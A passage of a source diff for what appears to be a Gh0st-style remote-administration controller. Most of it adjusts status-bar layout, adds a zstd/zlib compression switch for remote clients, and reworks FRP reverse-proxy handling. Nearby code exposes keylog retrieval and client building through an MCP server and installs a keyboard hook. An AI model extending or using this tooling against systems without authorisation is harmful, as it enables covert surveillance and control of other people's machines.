if (runNormal != 1 && !isAgentMode && !IsRunningAsAdmin() && LaunchAsAdmin(curFile, "runas")) {
|
||||
Mprintf("[InitInstance] 程序没有管理员权限,用户选择以管理员身份重新运行。\n");
|
||||
return FALSE;
|
||||
@@ -534,19 +685,6 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
if (pfn) pfn(L"YAMA");
|
||||
}
|
||||
|
||||
// 设置线程区域为中文,确保 MBCS 程序在非中文系统上也能正确显示对话框中的中文
|
||||
// 必须在创建任何对话框之前调用
|
||||
SetChineseThreadLocale();
|
||||
|
||||
// 加载语言包(必须在显示任何文本之前)
|
||||
// 内嵌资源支持 en_US 和 zh_TW,无需外部文件
|
||||
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
|
||||
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
|
||||
langDir = langDir.empty() ? "./lang" : langDir;
|
||||
g_Lang.Init(langDir.c_str()); // 初始化目录(用于磁盘补丁文件)
|
||||
g_Lang.Load(lang.c_str()); // 加载语言(优先内嵌资源,再覆盖磁盘文件)
|
||||
Mprintf("语言: %s, 目录: %s\n", lang.c_str(), langDir.c_str());
|
||||
|
||||
// 创建并显示启动画面
|
||||
CSplashDlg* pSplash = new CSplashDlg();
|
||||
pSplash->Create(NULL);
|
||||
|
||||
Binary file not shown.
@@ -363,35 +363,70 @@ static UINT Indicators[] = {
|
||||
IDR_STATUSBAR_EXPIRE
|
||||
};
|
||||
|
||||
// 状态栏短标签分区(TLS/MCP)的宽度:按当前语言下两种取值的实际文本宽度取大者,
|
||||
// 再留出左右边距。硬编码像素在不同语言/DPI 下容易被截断或浪费空间。
|
||||
// 状态栏分区宽度:按当前语言/DPI 下的实际文本宽度加左右边距。硬编码像素在
|
||||
// 125%/150% 缩放或换字体时会把文字截掉(「到期: ... (41天)」只剩日期就是这个原因)。
|
||||
//
|
||||
// 文本按宽字符测量:状态栏控件内部是 Unicode,ANSI 串会先按系统代码页转成宽字符再
|
||||
// 绘制。中文串两种方式差可达 10%(本机 134 vs 153px),按 ANSI 测会偏窄。
|
||||
static int MeasureStatusTextWide(HDC dc, const CString& text)
|
||||
{
|
||||
const int len = text.GetLength();
|
||||
if (len <= 0)
|
||||
return 0;
|
||||
const int n = ::MultiByteToWideChar(CP_ACP, 0, text, len, nullptr, 0);
|
||||
if (n <= 0)
|
||||
return 0;
|
||||
std::wstring w((size_t)n, L'\0');
|
||||
::MultiByteToWideChar(CP_ACP, 0, text, len, &w[0], n);
|
||||
SIZE sz = {};
|
||||
::GetTextExtentPoint32W(dc, w.c_str(), n, &sz);
|
||||
return (int)sz.cx;
|
||||
}
|
||||
|
||||
// 难点是「控件到底用哪个字体画」。状态栏没有显式设过字体时,MFC 自己按 DC 默认字体
|
||||
// (SYSTEM_FONT)计算分区宽度,而系统「状态栏字体」(lfStatusFont)往往更窄——本机
|
||||
// 实测同一串文字 SYSTEM_FONT 134px、状态栏字体 109px。只按后者测就会把分区算窄、
|
||||
// 把文字截掉,所以这里几种候选字体都测一遍取最大值。
|
||||
static int CalcStatusPaneWidth(const CStatusBar& bar, const CString& text)
|
||||
{
|
||||
if (text.IsEmpty())
|
||||
return 0;
|
||||
|
||||
CClientDC dc((CWnd*)&bar);
|
||||
HGDIOBJ candidates[5] = {};
|
||||
int count = 0;
|
||||
|
||||
if (CFont* pFont = bar.GetFont()) // 应用显式设过字体:控件就用它
|
||||
candidates[count++] = (HGDIOBJ)pFont->GetSafeHandle();
|
||||
candidates[count++] = ::GetStockObject(SYSTEM_FONT); // 无字体时的绘制/测量默认
|
||||
candidates[count++] = ::GetStockObject(DEFAULT_GUI_FONT); // 另一种常见的默认
|
||||
|
||||
CFont statusFont, messageFont; // 系统字体表里的两种可能
|
||||
NONCLIENTMETRICS ncm = {};
|
||||
ncm.cbSize = sizeof(ncm);
|
||||
if (::SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(ncm), &ncm, 0)) {
|
||||
if (statusFont.CreateFontIndirect(&ncm.lfStatusFont))
|
||||
candidates[count++] = (HGDIOBJ)statusFont.GetSafeHandle();
|
||||
if (messageFont.CreateFontIndirect(&ncm.lfMessageFont))
|
||||
candidates[count++] = (HGDIOBJ)messageFont.GetSafeHandle();
|
||||
}
|
||||
|
||||
int width = 0;
|
||||
for (int i = 0; i < count; ++i) {
|
||||
HGDIOBJ old = dc.SelectObject(candidates[i]);
|
||||
width = max(width, MeasureStatusTextWide(dc, text));
|
||||
if (old != nullptr)
|
||||
dc.SelectObject(old);
|
||||
}
|
||||
return width + 20;
|
||||
}
|
||||
|
||||
// 状态栏短标签分区(TLS/MCP)的宽度:按当前语言下各取值的实际文本宽度取大者。
|
||||
static int CalcStatusFlagPaneWidth(const CStatusBar& bar, const CString& a, const CString& b,
|
||||
const CString& c = CString())
|
||||
{
|
||||
CClientDC dc((CWnd*)&bar);
|
||||
CFont* pOld = nullptr;
|
||||
CFont* pFont = bar.GetFont();
|
||||
// 状态栏没有显式设过字体时,绘制用的是系统的「状态栏字体」(Segoe UI 9pt),
|
||||
// 比 DEFAULT_GUI_FONT 宽约 8%:100% 缩放下靠边距还能兜住,缩放比更高就会截断,
|
||||
// 所以这里直接按状态栏字体测量。
|
||||
CFont statusFont;
|
||||
if (pFont == nullptr) {
|
||||
NONCLIENTMETRICS ncm = {};
|
||||
ncm.cbSize = sizeof(ncm);
|
||||
if (::SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(ncm), &ncm, 0)
|
||||
&& statusFont.CreateFontIndirect(&ncm.lfStatusFont))
|
||||
pFont = &statusFont;
|
||||
}
|
||||
if (pFont == nullptr)
|
||||
pFont = CFont::FromHandle((HFONT)::GetStockObject(DEFAULT_GUI_FONT));
|
||||
if (pFont != nullptr)
|
||||
pOld = dc.SelectObject(pFont);
|
||||
CSize szA = dc.GetTextExtent(a);
|
||||
CSize szB = dc.GetTextExtent(b);
|
||||
CSize szC = c.IsEmpty() ? CSize(0, 0) : dc.GetTextExtent(c);
|
||||
if (pOld != nullptr)
|
||||
dc.SelectObject(pOld);
|
||||
return max(max(szA.cx, szB.cx), szC.cx) + 16;
|
||||
return max(max(CalcStatusPaneWidth(bar, a), CalcStatusPaneWidth(bar, b)),
|
||||
CalcStatusPaneWidth(bar, c));
|
||||
}
|
||||
|
||||
std::string EventName()
|
||||
@@ -791,6 +826,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[74].LoadBitmap(IDB_BITMAP_DISCLAIMER); // 其他→免责声明
|
||||
m_bmOnline[75].LoadBitmap(IDB_BITMAP_COPYNAME); // 右键→复制名称
|
||||
m_bmOnline[76].LoadBitmap(IDB_BITMAP_RUN_TEST); // 高级→运行测试程序
|
||||
m_bmCompressZstd.LoadBitmap(IDB_BITMAP_COMPRESS_ZSTD); // 线缆压缩:ZSTD
|
||||
m_bmCompressZlib.LoadBitmap(IDB_BITMAP_COMPRESS_ZLIB); // 线缆压缩:ZLIB
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -1142,6 +1179,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
|
||||
ON_COMMAND(ID_EXPERIMENT_COMPRESS_ZSTD, &CMy2015RemoteDlg::OnExperimentCompressZstd)
|
||||
ON_COMMAND(ID_EXPERIMENT_COMPRESS_ZLIB, &CMy2015RemoteDlg::OnExperimentCompressZlib)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss)
|
||||
@@ -2580,6 +2619,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
McpServer().SetChatEnabled(THIS_CFG.GetInt("settings", "McpChat", 0) != 0);
|
||||
// N3 键盘记录(get_keylog):独立开关默认关,与只读开关无关。
|
||||
McpServer().SetKeylogEnabled(THIS_CFG.GetInt("settings", "McpKeylog", 0) != 0);
|
||||
// 生成客户端(build_client):独立开关默认关;写客户端二进制,要求只读关。
|
||||
McpServer().SetBuildEnabled(THIS_CFG.GetInt("settings", "McpBuild", 0) != 0);
|
||||
// 平台门禁:默认开。调用前拦掉目标客户端根本没实现的工具(立刻 -32005),
|
||||
// 否则会照常下发命令然后白等超时。关掉它只影响这道拦截,不改任何工具的执行路径。
|
||||
McpServer().SetPlatformGuardEnabled(
|
||||
@@ -2614,6 +2655,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
int chunkKb = 64, durMs = 50;
|
||||
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||
int ret = InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||
// zstd warm up
|
||||
char d[64] = { 0 };
|
||||
const char s[1] = { 0 };
|
||||
(void)ZSTD_compress(d, sizeof(d), s, 1, 1);
|
||||
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
||||
|
||||
UPDATE_SPLASH(20, "正在加载IP数据库...");
|
||||
@@ -3041,6 +3086,18 @@ static bool IsFrpSupported(const char* logPrefix = nullptr)
|
||||
return true;
|
||||
}
|
||||
|
||||
// 本地是否已启用自有 FRP(主菜单设置:UseFrp + 主控地址)。
|
||||
// 本地 FRP 只在 64 位主控上启动;32 位恒为未启用。
|
||||
bool CMy2015RemoteDlg::IsLocalFrpEnabled()
|
||||
{
|
||||
#ifdef _WIN64
|
||||
if (THIS_CFG.GetInt("frp", "UseFrp", 0) == 0) return false;
|
||||
return !THIS_CFG.GetStr("settings", "master", "").empty();
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::InitFrpClients()
|
||||
{
|
||||
// 显示初始化消息
|
||||
@@ -3058,7 +3115,7 @@ void CMy2015RemoteDlg::InitFrpClients()
|
||||
std::string ip = THIS_CFG.GetStr("settings", "master", "");
|
||||
|
||||
CString tip;
|
||||
if (hasUpperFrp) {
|
||||
if (hasUpperFrp && !IsLocalFrpEnabled()) {
|
||||
// 使用上级配置的 FRP,无需关心公网 IP
|
||||
tip = _L("使用上级配置的FRP代理");
|
||||
} else {
|
||||
@@ -3387,6 +3444,11 @@ bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPor
|
||||
if (!frpConfigStr.empty()) {
|
||||
FrpAutoConfig frpCfg = ParseFrpAutoConfig(frpConfigStr, heartbeat);
|
||||
if (frpCfg.enabled && frpCfg.remotePort > 0) {
|
||||
// 本地已启用自有 FRP 时保持本地地址:上级自动 FRP 只是备用入口,
|
||||
// 不再覆盖生成客户端/内核载荷里的主控地址。
|
||||
if (IsLocalFrpEnabled()) {
|
||||
return false;
|
||||
}
|
||||
outIP = frpCfg.serverAddr;
|
||||
outPort = frpCfg.remotePort;
|
||||
return true; // 使用了 FRP 地址
|
||||
@@ -3570,10 +3632,12 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
|
||||
|
||||
// 设置状态栏显示的 FRP 地址 (IP:Port)
|
||||
m_strFrpAddr.Format(_T("%hs:%d"), cfg.serverAddr.c_str(), cfg.remotePort);
|
||||
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)
|
||||
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)。宽度与 UpdateStatusBarStats
|
||||
// 一致,按实际地址文本实测:硬编码 250px 在高缩放比机器上会截掉端口。
|
||||
if (m_StatusBar.GetSafeHwnd()) {
|
||||
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, 250);
|
||||
m_nPaneFrpWidth = max(250, CalcStatusPaneWidth(m_StatusBar, m_strFrpAddr));
|
||||
m_StatusBar.SetPaneText(3, m_strFrpAddr);
|
||||
LayoutStatusPanes();
|
||||
}
|
||||
|
||||
Mprintf("[FRP-Auto] 启动自动代理: %s:%d -> frps:%d\n",
|
||||
@@ -3600,10 +3664,12 @@ void CMy2015RemoteDlg::StopFrpcAuto()
|
||||
|
||||
// 清除状态栏 FRP 地址
|
||||
m_strFrpAddr.Empty();
|
||||
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)
|
||||
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)。宽度归零隐藏,下一次
|
||||
// UpdateStatusBarStats 会按 FRPS/WAN/LAN 回退地址重新实测。
|
||||
if (m_StatusBar.GetSafeHwnd()) {
|
||||
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, 0);
|
||||
m_nPaneFrpWidth = 0;
|
||||
m_StatusBar.SetPaneText(3, _T(""));
|
||||
LayoutStatusPanes();
|
||||
}
|
||||
|
||||
Mprintf("[FRP-Auto] 已停止\n");
|
||||
@@ -3680,7 +3746,11 @@ void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
|
||||
// 首次:从无到有 → 启动
|
||||
if (newCfg.enabled) {
|
||||
StartFrpcAuto(newCfg);
|
||||
tip.FormatL("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效", newPort);
|
||||
if (IsLocalFrpEnabled()) {
|
||||
tip.Format(_TRF("[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变"), newPort);
|
||||
} else {
|
||||
tip.Format(_TRF("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效"), newPort);
|
||||
}
|
||||
} else {
|
||||
// 新配置无效,但 cur 非空 —— 提示但不启动;同时确保 [frp_auto] 不残留旧值
|
||||
ClearFrpAutoSection();
|
||||
@@ -3696,8 +3766,13 @@ void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
|
||||
StopFrpcAuto();
|
||||
if (newCfg.enabled) {
|
||||
StartFrpcAuto(newCfg); // 内部会用新值覆盖 [frp_auto]
|
||||
tip.FormatL("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效",
|
||||
oldPort, newPort);
|
||||
if (IsLocalFrpEnabled()) {
|
||||
tip.Format(_TRF("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变"),
|
||||
oldPort, newPort);
|
||||
} else {
|
||||
tip.Format(_TRF("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效"),
|
||||
oldPort, newPort);
|
||||
}
|
||||
} else {
|
||||
// 新配置无效(解析失败等),旧的 FRPC 已停,[frp_auto] 必须一并清空
|
||||
ClearFrpAutoSection();
|
||||
@@ -3942,20 +4017,9 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
Rect.right=cx;
|
||||
Rect.bottom=cy;
|
||||
m_StatusBar.MoveWindow(Rect);
|
||||
// 6个分区:消息(自动拉伸)、TLS、MCP、FRP地址(250px)、运行统计(180px)、到期时间(180px)
|
||||
int paneExpire = m_strExpireDate.IsEmpty() ? 0 : 180; // 无到期信息时隐藏
|
||||
// 优先显示上级 FRPC,其次显示本机 FRPS
|
||||
int paneFrp = 250;
|
||||
int paneRuntime = 180;
|
||||
int paneTls = max(0, m_nPaneTlsWidth);
|
||||
int paneMcp = max(0, m_nPaneMcpWidth);
|
||||
int paneMsg = max(0, cx - paneTls - paneMcp - paneFrp - paneRuntime - paneExpire - 20);
|
||||
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, paneMsg);
|
||||
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, paneTls);
|
||||
m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, paneMcp);
|
||||
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, paneFrp);
|
||||
m_StatusBar.SetPaneInfo(4, m_StatusBar.GetItemID(4), SBPS_NORMAL, paneRuntime);
|
||||
m_StatusBar.SetPaneInfo(5, m_StatusBar.GetItemID(5), SBPS_NORMAL, paneExpire);
|
||||
// 6个分区:消息(自动拉伸)、TLS、MCP、FRP地址、运行统计、到期时间。
|
||||
// 宽度由 UpdateStatusBarStats 按实测文本算好,这里只负责按当前窗口宽度摆位。
|
||||
LayoutStatusPanes();
|
||||
}
|
||||
|
||||
if(m_ToolBar.m_hWnd!=NULL) { //工具条
|
||||
@@ -4238,9 +4302,7 @@ void CMy2015RemoteDlg::UpdateStatusBarStats()
|
||||
m_nPaneTlsWidth = CalcStatusFlagPaneWidth(m_StatusBar, _TR("TLS: 有"), _TR("TLS: 无"),
|
||||
_TR("TLS: 内置"));
|
||||
m_nPaneMcpWidth = CalcStatusFlagPaneWidth(m_StatusBar, strMcp, strMcpWidest);
|
||||
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, m_nPaneTlsWidth);
|
||||
m_StatusBar.SetPaneText(1, strTls);
|
||||
m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, m_nPaneMcpWidth);
|
||||
m_StatusBar.SetPaneText(2, strMcp);
|
||||
|
||||
// === 分区4:运行统计 ===
|
||||
@@ -4324,12 +4386,21 @@ void CMy2015RemoteDlg::UpdateStatusBarStats()
|
||||
strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", ';', 6543));
|
||||
}
|
||||
}
|
||||
// 根据是否有内容设置分区宽度
|
||||
int paneFrpWidth = 250;
|
||||
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, paneFrpWidth);
|
||||
// 分区宽度按实际地址文本实测,但**不小于**改动前的固定宽度:250/180/180 在
|
||||
// 100% 缩放下是验证过的,实测值只用于在高缩放比/大字体机器上把它们撑大。
|
||||
m_nPaneFrpWidth = max(250, CalcStatusPaneWidth(m_StatusBar, strFrpDisplay));
|
||||
m_StatusBar.SetPaneText(3, strFrpDisplay);
|
||||
|
||||
// === 分区4:运行统计 ===
|
||||
// 宽度取「当前文本」与「可能出现的最长格式」的较大者:数字随时间增长时分区
|
||||
// 不会每分钟跳一次,缩放比高的机器上也不会把 MTBF/运行时长截掉。
|
||||
CString strRuntimeWidest =
|
||||
_TR("运行:") + CString(_T(" 99999d 23h ")) + _TR("(无崩溃)");
|
||||
m_nPaneRuntimeWidth = max(180,
|
||||
max(CalcStatusPaneWidth(m_StatusBar, strRuntime),
|
||||
CalcStatusPaneWidth(m_StatusBar, strRuntimeWidest)));
|
||||
m_nPaneRuntimeWidth = max(m_nPaneRuntimeWidth,
|
||||
CalcStatusPaneWidth(m_StatusBar, CString(_T("MTBF: 999d23h | 100.0%"))));
|
||||
m_StatusBar.SetPaneText(4, strRuntime);
|
||||
|
||||
// === 分区5:到期时间 ===
|
||||
@@ -4381,8 +4452,52 @@ void CMy2015RemoteDlg::UpdateStatusBarStats()
|
||||
strDays.Format(_T("(%lld"), diffDays);
|
||||
strExpire = _TR("到期:") + CString(_T(" ")) + strDate + _T(" ") + strDays + _TR("天") + _T(")");
|
||||
}
|
||||
// 宽度按文本实测,再多留一层富余:不同系统对英文字形("Expires:" 里的西文)
|
||||
// 的字体回退和 GetTextExtent 有出入,多留 20px 总比截断好。下限 220 保证
|
||||
// 「Expires: 2026-12-31 (41d)」这类比中文更长的串有足够空间。
|
||||
m_nPaneExpireWidth = max(220, CalcStatusPaneWidth(m_StatusBar, strExpire) + 20);
|
||||
m_StatusBar.SetPaneText(5, strExpire);
|
||||
} else {
|
||||
// 无授权信息:分区宽度归零(隐藏)
|
||||
m_nPaneExpireWidth = 0;
|
||||
}
|
||||
|
||||
// 各分区宽度都已按当前语言/DPI 算好,统一交给布局函数落位:窗口不够宽时
|
||||
// 它会按优先级收掉低价值分区,保证「到期时间」不会被挤出右边缘。
|
||||
LayoutStatusPanes();
|
||||
}
|
||||
|
||||
// 按状态栏实际宽度布置分区。所有分区宽度之和(加上消息区下限)超过窗口时,按
|
||||
// 运行统计 → FRP → MCP → TLS 的顺序隐藏,避免最后一个分区被窗口右边缘裁掉——
|
||||
// 英文串比中文长、缩放比更高、窗口更窄,都会把总宽度顶上去,这里统一兜底。
|
||||
void CMy2015RemoteDlg::LayoutStatusPanes()
|
||||
{
|
||||
if (!m_StatusBar.GetSafeHwnd())
|
||||
return;
|
||||
|
||||
CRect rc;
|
||||
m_StatusBar.GetClientRect(&rc);
|
||||
|
||||
int widths[6] = { 0, m_nPaneTlsWidth, m_nPaneMcpWidth, m_nPaneFrpWidth,
|
||||
m_nPaneRuntimeWidth, m_nPaneExpireWidth };
|
||||
static const int kDropOrder[] = { 4, 3, 2, 1 };
|
||||
const int kMinMessageWidth = 120;
|
||||
|
||||
int fixedWidth = 0;
|
||||
for (int i = 1; i <= 5; ++i)
|
||||
fixedWidth += max(0, widths[i]);
|
||||
|
||||
for (int i = 0; i < (int)(sizeof(kDropOrder) / sizeof(kDropOrder[0]))
|
||||
&& fixedWidth + kMinMessageWidth > rc.Width(); ++i) {
|
||||
const int idx = kDropOrder[i];
|
||||
fixedWidth -= max(0, widths[idx]);
|
||||
widths[idx] = 0;
|
||||
}
|
||||
|
||||
const int paneMsg = max(0, rc.Width() - fixedWidth - 20);
|
||||
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, paneMsg);
|
||||
for (int i = 1; i <= 5; ++i)
|
||||
m_StatusBar.SetPaneInfo(i, m_StatusBar.GetItemID(i), SBPS_NORMAL, max(0, widths[i]));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce)
|
||||
@@ -4898,6 +5013,42 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
pExperimentMenu->DeleteMenu(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND);
|
||||
if (SHOULD_HIDE_CTX(HIDE_CTX_EXPERIMENT_TLS_DISABLE, CF_EXPERIMENT_TLS_DISABLE))
|
||||
pExperimentMenu->DeleteMenu(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND);
|
||||
// 线缆压缩切换:放在实验功能末尾。仅当该组仍有可见项时追加——被功能位整组
|
||||
// 隐藏时既不泄露,也不影响下面「空组摘除」的逻辑。
|
||||
if (!IsPopupEmptyOfItems(pExperimentMenu)) {
|
||||
// 置灰规则:选中的主机全是 zstd → ZSTD 置灰;全是 zlib → ZLIB 置灰;
|
||||
// 混选时两个都可用;有老客户端不支持切换时两个都置灰。
|
||||
int sel = 0, zstdN = 0, zlibN = 0, unsupported = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION modePos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
while (modePos) {
|
||||
context* c = GetContextByListIndex(m_CList_Online.GetNextSelectedItem(modePos));
|
||||
if (!c || !c->IsLogin()) continue;
|
||||
++sel;
|
||||
if (!c->SupportsCompressSwitch()) { ++unsupported; continue; }
|
||||
const int m = c->GetCompressMethod();
|
||||
if (m == COMPRESS_ZSTD) ++zstdN;
|
||||
else if (m == COMPRESS_ZLIB) ++zlibN;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
UINT zstdFlags = MF_STRING, zlibFlags = MF_STRING;
|
||||
if (sel > 0) {
|
||||
if (unsupported > 0) {
|
||||
zstdFlags |= MF_GRAYED;
|
||||
zlibFlags |= MF_GRAYED;
|
||||
} else {
|
||||
if (zstdN == sel) zstdFlags |= MF_GRAYED; // 已经是 zstd
|
||||
if (zlibN == sel) zlibFlags |= MF_GRAYED; // 已经是 zlib
|
||||
}
|
||||
}
|
||||
pExperimentMenu->AppendMenu(MF_SEPARATOR);
|
||||
pExperimentMenu->AppendMenuL(zstdFlags, ID_EXPERIMENT_COMPRESS_ZSTD, "线缆压缩:ZSTD");
|
||||
pExperimentMenu->AppendMenuL(zlibFlags, ID_EXPERIMENT_COMPRESS_ZLIB, "线缆压缩:ZLIB");
|
||||
pExperimentMenu->SetMenuItemBitmaps(ID_EXPERIMENT_COMPRESS_ZSTD, MF_BYCOMMAND,
|
||||
&m_bmCompressZstd, &m_bmCompressZstd);
|
||||
pExperimentMenu->SetMenuItemBitmaps(ID_EXPERIMENT_COMPRESS_ZLIB, MF_BYCOMMAND,
|
||||
&m_bmCompressZlib, &m_bmCompressZlib);
|
||||
}
|
||||
for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
|
||||
if (SubMenu->GetSubMenu(i) == pExperimentMenu) {
|
||||
protoInsertPos = (int)i + 1;
|
||||
@@ -5185,7 +5336,7 @@ void CMy2015RemoteDlg::OnExperimentTlsEnable()
|
||||
return;
|
||||
}
|
||||
// 二次确认:避免误点就切换被控端 TLS。
|
||||
// 两平台都是立即生效:客户端收到命令后落盘信任锚(Windows 注册表 / Linux 配置文件)、
|
||||
// 客户端都是立即生效:收到命令后落盘信任锚(Windows 注册表 / Linux、macOS 配置文件)、
|
||||
// 热重载 TLS 状态(各平台 TlsChannel 的 TlsReload)并断开重连,正在进行的远程会话会中断。
|
||||
if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗?\n"
|
||||
"(客户端立即生效并断线重连,正在进行的远程会话会中断)"),
|
||||
@@ -5245,6 +5396,37 @@ void CMy2015RemoteDlg::OnExperimentTlsDisable()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
// ---- 线缆压缩切换(在线列表右键 → 实验功能 → 线缆压缩:ZSTD / ZLIB)----
|
||||
void CMy2015RemoteDlg::OnExperimentCompressZstd() { SwitchSelectedCompression("zstd"); }
|
||||
void CMy2015RemoteDlg::OnExperimentCompressZlib() { SwitchSelectedCompression("zlib"); }
|
||||
|
||||
VOID CMy2015RemoteDlg::SwitchSelectedCompression(const char* mode)
|
||||
{
|
||||
// 老客户端不认识 COMMAND_SET_COMPRESS,收到只会丢弃;先按能力位过滤。
|
||||
int selected = 0, unsupported = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (context* ctx : ResolveCommandTargets()) {
|
||||
if (!ctx->IsLogin()) continue;
|
||||
++selected;
|
||||
if (!ctx->SupportsCompressSwitch()) ++unsupported;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (selected == 0) return;
|
||||
if (unsupported > 0) {
|
||||
MessageBoxL(_T("选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)"),
|
||||
_T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
// 载荷 [cmd]["zstd"|"zlib"]。客户端写入 settings\compress 后断开当前连接,
|
||||
// 原地切换压缩模式并由 StartClient 重连循环用新模式建链;服务端按每个连接的
|
||||
// 首包自动识别算法,不影响其它主机。
|
||||
std::string pkt(1, (char)COMMAND_SET_COMPRESS);
|
||||
pkt += mode;
|
||||
Mprintf("[compress-switch] send %s to %d host(s)\n", mode, selected);
|
||||
SendSelectedCommand((PBYTE)&pkt[0], (ULONG)pkt.size());
|
||||
}
|
||||
|
||||
// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)----
|
||||
//
|
||||
// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL
|
||||
@@ -5755,6 +5937,28 @@ VOID CMy2015RemoteDlg::OnOnlineCmdManager()
|
||||
|
||||
VOID CMy2015RemoteDlg::OnOnlineProcessManager()
|
||||
{
|
||||
// Android 只有 root(su)设备才声明 CLIENT_CAP_PROCESS:Android 7 起 /proc 是
|
||||
// hidepid=2 + SELinux,普通 APK 枚举不到其它进程。提前拦下,别让用户以为
|
||||
// 点了没反应(客户端兜底会回一条消息,但主控这边先说清楚更快)。
|
||||
bool blocked = false;
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
while (pos) {
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(pos);
|
||||
context* ctx = GetContextByListIndex(iItem);
|
||||
if (ctx && ctx->GetAdditionalData(RES_CLIENT_TYPE) == "APK" && !ctx->SupportsProcess()) {
|
||||
blocked = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (blocked) {
|
||||
MessageBoxL("该 Android 主机未取得 root,无法查看进程列表。\n\n"
|
||||
"Android 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。",
|
||||
"提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
BYTE bToken = COMMAND_SYSTEM;
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
@@ -10254,6 +10458,15 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
|
||||
